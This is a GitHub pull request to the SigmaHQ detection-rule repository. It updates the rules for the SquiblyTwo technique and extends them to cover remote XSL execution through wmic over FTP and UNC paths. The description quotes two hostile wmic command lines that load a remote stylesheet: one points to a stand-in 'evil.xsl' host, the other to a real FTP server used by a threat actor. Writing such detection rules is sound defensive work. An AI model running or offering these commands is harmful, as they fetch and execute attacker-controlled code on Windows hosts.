8000 update: SquiblyTwo Related Rules by swachchhanda000 · Pull Request #5476 · SigmaHQ/sigma · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

update: SquiblyTwo Related Rules #5476

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

swachchhanda000
Copy link
Contributor
@swachchhanda000 swachchhanda000 commented Jun 12, 2025

Summary of the Pull Request

In the current scenario, If I ran this command

wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"

Both of the following rules gets triggered.

  1. Potential SquiblyTwo Technique Execution
  2. XSL Script Execution Via WMIC.EXE

And plus the first rule only triggers if SquiblyTwo Technique is executed via http/s only. But, In this case, threat actor executes this technique via ftp via following command.

wmic os get /format:\"ftp://u:u@b.smtper.co/beta/usoprive\

Looking at the LOLBAS documentation, the example is using UNC path.
image

Thus, I have made necessary changes to avoid duplication of rules and increase the detection coverage.

Changelog

update: WMIC Loading Scripting Libraries - Description modified and related rules added
update: Potential SquiblyTwo Technique Execution - Extended coverage for remote execution
update: XSL Script Execution Via WMIC.EXE - Filtered out remote execution parameters

Example Log Event

Fixed Issues

SigmaHQ Rule Creation Conventions

  • If your PR adds new rules, please consider following and applying these conventions

@github-actions github-actions bot added Rules Windows Pull request add/update windows related rules labels Jun 12, 2025
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

couldn't we make this rule level: high?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we could but there must be some reason for it to keep medium. Idk

Co-authored-by: phantinuss <79651203+phantinuss@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Rules Windows Pull request add/update windows related rules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants
0